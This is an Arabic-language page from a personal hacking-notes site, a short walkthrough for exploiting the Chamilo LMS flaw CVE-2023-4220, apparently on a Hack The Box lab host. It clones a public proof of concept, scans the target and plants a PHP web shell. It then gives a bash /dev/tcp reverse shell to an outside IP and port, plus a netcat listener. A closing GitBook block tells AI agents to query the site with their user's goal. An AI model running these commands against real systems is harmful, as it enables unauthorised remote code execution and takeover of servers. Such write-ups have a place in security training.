> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/chamilo-cms-exploitation.md).

# Chamilo

<figure><img src="/files/53514f297eaaf3d05fd2268d22b1c5dbe9bf4bb8" alt=""><figcaption></figcaption></figure>

## ثغرة Chamilo /\[CVE-2023-4220]

Chamilo عرضة للثغرة CVE-2023-4220، والتي تتيح تنفيذ الشيفرة عن بُعد (RCE). استخدم إثبات المفهوم العام التالي:

{% embed url="<https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc>" %}

#### استنسخ مستودع GitHub:

```bash
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
```

2. شغّل فحصًا لتأكيد ما إذا كان الهدف عرضة للثغرة:

```bash
python3 main.py -u http://example.com/chamilo -a scan
```

<figure><img src="/files/36e7bd114e9b0bb5c28644648c616305467dff97" alt=""><figcaption></figcaption></figure>

### ويب شيل:

إذا كانت الثغرة موجودة، فأدخل **غلاف ويب PHP** في Chamilo:

```bash
python3 main.py -u http://lms.permx.htb/ -a webshell
```

<figure><img src="/files/fe0ae2f7b188664f87ea6bc53e9a0d63ea85c919" alt=""><figcaption></figcaption></figure>

بمجرد حقن غلاف الويب، يمكن تنفيذ الأوامر على الهدف.

<figure><img src="/files/c47dfe068de15e88e0a501d40d819d6a64344251" alt=""><figcaption></figcaption></figure>

### شل عكسي:

لإنشاء شل عكسي والحصول على وصول إلى الجهاز، شغّل الأمر التالي من الطرفية:

```url
bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"
```

ثم ابدأ مستمعًا على المنفذ 4444:

```bash
nc -nlvp 4444
```

<figure><img src="/files/cf1f845c22f098519f59d368449db948287149f7" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/cms/chamilo-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
